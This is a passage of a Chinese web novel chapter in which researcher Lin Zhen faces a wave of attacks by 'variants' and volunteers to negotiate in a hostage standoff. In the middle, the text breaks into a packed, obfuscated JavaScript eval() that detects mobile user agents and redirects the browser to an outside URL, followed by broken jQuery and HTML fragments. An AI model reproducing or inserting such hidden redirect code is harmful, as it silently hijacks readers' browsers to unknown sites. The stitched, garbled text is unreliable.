是因为看见玻尔在他怀里撒娇,所以也这样吗?
林桢低头,目光落在异种的头发上,原本一直梳理得很整齐,洗过澡后,才蓬松地散乱着,头发的颜色很黑,很有光泽,像某种茂盛的植物,有那么一瞬间,林桢想要抬手摸一摸是什么样的触感。
然后,林桢鼓起勇气,把手放在了他的头发上。
并没有想象中的那么硬,凉丝丝的,像是绸缎一样。
可很快,林桢感受到自己的小腹被硌着。
那是……
林桢耳根发热,怎么摸头发也会……
林桢换研究服,一抬胳膊,胳膊酸胀起来,昨天晚上,异种是在他怀里睡的,他块头太大,林桢要抱住他才舒服一些,就这样过了一夜。
换好研究服准备工作时候,外面传来一阵骚动,林桢听见有人说血字,他走到外面去看,结果看见几个出任务的同事浑身都是血。
送他们回来的是几个军人,把他们送到地方后便走了。
林桢拨开人群,看到他们的伤口都已经被包扎过了,才开口问:“怎么回事?”
“是异种。”
林桢蹙眉。
“昨天的市区出现了一起恶性伤人事件,怀疑是异种所为,所长就派我们几个和军方的人一起去调查,结果中途一个在附近居住的白领,忽然恢复了成了异种的形状,把我们打伤了。”
林桢的身后的人说道:“以前半年,乃至一年还不定有过一次,但这个月已经发生好几起异种恶意袭击人的事情了。”
林桢让聚集在门口的同事散开,让受伤的同事去休息,然后他拿出手机,浏览了一下最近的新闻,果真这段时间开始,频繁出现异种恢复原身,伤害人类的事情。
就像其中一位同事说的那样,以前半年,乃至一年,都不会出现一起这样的事情,就算出现了,也大多数有像杜启松那样的隐情,异种大部分都有自己的社会身份,和人类一样,会在这种社会身份中产生责任感,所以他们都很遵循人不犯我,我不犯人这个宗旨的。
为什么最近这么频繁?
下午的时候,高建民叫研究所的一些骨干去办公室里开会。
“大家应该也都听说了,最近出现了很很多起异种伤人的事情,一些特殊情况,军方可能需要大家过去帮忙,大家都保持随时待命的状态吧。”
二组的研究组长问道:“军方有没有查出原因?像我们这些做了那么多年的研究,还从来没有见过这么频繁异种攻击人类。”
高建民喝了一口茶,润润嗓子:“目前军方那边给出的说法是因为杜启松。”
“异种觉得杜启松没罪,所以得知军方要监禁杜启松,他们的反应很激烈,除了伤害普通人之外,一些接触过杜启松案件的政府人员,也在回家的路上遭受过袭击。”
这个说法确实能够解释,林桢盯着自己的会议记录本子,异种是种很团结的生物,哪怕他们根本不熟悉,甚至不认识,也会因为同类受到欺辱而感到仇恨。
但为什么要伤害无辜的人?
林桢隐隐觉得这个说法还有一些疑点。
“好了,你们都忙去吧。”高建民挥挥手:“林桢,你留下。”
等其他人走完,高建民开口:“你这几天不用来研究所了,专心看好秦攸峙就好了,像现在发生的袭击,对军方来说,和小打小闹差不多,但如果是秦攸峙,那就麻烦了。”
“如果是因为杜启松,秦攸峙想要伤害政府人员,那应该早就动手了,不可能等到杜启松被监禁,至于……”林桢笃定地说:“他不会伤害无辜的人。”
高建民深深看他一眼:“你不要对他投入和玻尔一样的感情。玻尔从小就在研究所长大,军方把他归为自己人的阵营,但秦攸峙不同,哪怕秦攸峙愿意和军方友好合作,军方对他也会警惕的。所以,你和秦攸峙的立场从根本上就是不同的。”
林桢垂下眼:“老师,我知道。”
又过了几天,林桢一到研究所,刘佳便拿着电脑给他看。
“上校,你快看,城郊的商贸园区有一个异种杀了一个成年人后,又劫持了两个小孩。”
正在往脖子上挂工牌的林桢,动作一顿,拿过她的电脑滑动起来。
异种之前袭击人类都是选择夜晚、偏僻的地方,所以传播的范围很小,可是这次袭击时间是白天,袭击地点是人流很大的城郊农贸城里。
一些现场传来的照片里,城郊农贸城围着警戒线,警戒线外面围满了害怕又好奇的人类,哪怕军方是使用了比较粗暴的驱赶方式,这些人类也要凑到跟前看一看热闹。
而有胆大不要命的,也有胆小的人。
胆小的人一般只在网上发布担心害怕的言语,网上的恐惧焦虑则更容易发酵,因此出现了很多极端的要关押所有异种、直接处死所有异种这种言论。
这让林桢隐隐产生担忧,这些年来,人类知道有异种的存在,但因为异种和正常人一样生活,不会做出太出格的事情,所以大家还能和平共处,但现在这种接二连三地袭击事件,就让大家慢慢意识到,原来异种是一种非常危险的生物,如果任由这样下去,就会演变成一个糟糕的局面——彼此之间开始争斗得你死我活。
几个军人匆匆来到研究所,领头的中校道:“需要几个研究员,谁有空,跟我们走一趟。”
高建民找了三个手头上暂时没工作的研究员。
中校看了一眼:“不够,再来一个人。”
高建民正准备叫刘佳去,林桢却开口问道:“是去城郊的农贸市场吗?”
“是,有个异种绑架了两个小孩。”
“我跟你们去吧。”
高建民无奈:“林桢,我之前和你说的话你忘记了吗?”
林桢没有忘记,但这种情况,他不可能待在研究所置身事外的。
高建民很了解他的性格,嘱咐了一句注意安全,也就任由他去了。
一个小时后,林桢到达农贸市场。
中校驱赶了一些还在围观的人类,领着林桢等几个研究员直接进到了警戒线里面。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906778|213042||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>这个农贸市场里面有很多商铺,商铺里面都已经清空了。
市场最里面,有一个大型铁皮仓库,仓库的门紧紧关着,外面有干掉的血迹。
军队的人就在仓库的对面蹲守着。
“大校,研究所里的人过来了。”
正在指挥部署的陆泽成一回头看见了林桢,他皱了皱眉头,似乎想问林桢为什么会过来,但最终还是没问。
林桢:“大校,目前是什么情况?”
“异种和小孩目前在仓库里面,担心异种冲动之下伤害两个小孩,我们不敢贸然行动,只能和他耗着。”
林桢点点头:“路上的时候我听中校说,对方原本是农贸市场的卸货员工,他的资料有吗?”
陆泽成把手下人查出来关于异种的信息拿给林桢。
异种的人类名字叫徐涛,年龄三十岁,体型壮硕,在农贸市场做装卸工,周围的小商贩以及邻居对他的评价都是夸赞的,他话不多,但干活很卖力气,有时候看见有孤苦的老人在附近卖菜,他会拿钱全部买下。
林桢问:“也是因为杜启松开始仇视人类的?”
陆泽成:“目前看来是这样的,从杜启松的事情发酵后,附近商贩说他性情便有了变化,有时候和他打招呼他也不理,直到昨天,干完活后,雇主少给他结了工资,他直接杀了人,然后绑架了雇主的两个小孩。”
林桢又往下翻了翻,发现他没有伴侣,也没有朋友,人乃至异种,如果没有社会关系,没有软肋就会很棘手。
天渐渐黑了,两方还在僵持着,偶尔能听见仓库里传来几声幼弱的抽泣声,证明小孩子还活着。
十点钟的时候,林桢忽然想起什么,微微一个激灵,他和陆泽成打了声招呼,快速来到一个无人的角落,拨通了庄园的电话。
拨通后,那边一直没说话,林桢轻声问:“秦果,是你吗?”
一道沉哑的声音传来:“你在什么地方。”
林桢没想到会是秦攸峙接的电话,他的声音让林桢耳朵麻起来:“你已经回家了?”
“我在等你。”
林桢心口一热,有些愧疚地说:“我在研究所,有个重要的事情,需要加班一夜,你先休息吧。”
秦攸峙:“最近有异种绑架人类。”
林桢:“我,我听说了,我会小心。”
异种不再说话,也不挂电话。
异种的呼吸声很重。
恍惚间,好像就在耳边扑打着,林桢半张脸都烫麻起来,他轻声:“我先挂了,你早点休息……”
挂了电话,林桢原路返回。
陆泽成召集了几个手下:“不能这样坐以待毙下去了,需要一个人进到仓库里面,去和异种谈判。”
林桢道:“我去吧。”
“我和很多异种接触过,算是比较了解异种的习性,而且这种时候也不能用武力镇压,只能来软的。”
陆泽成沉默了一会儿,应下了。
然后林桢把身上所有的东西都取下来,朝仓库走去。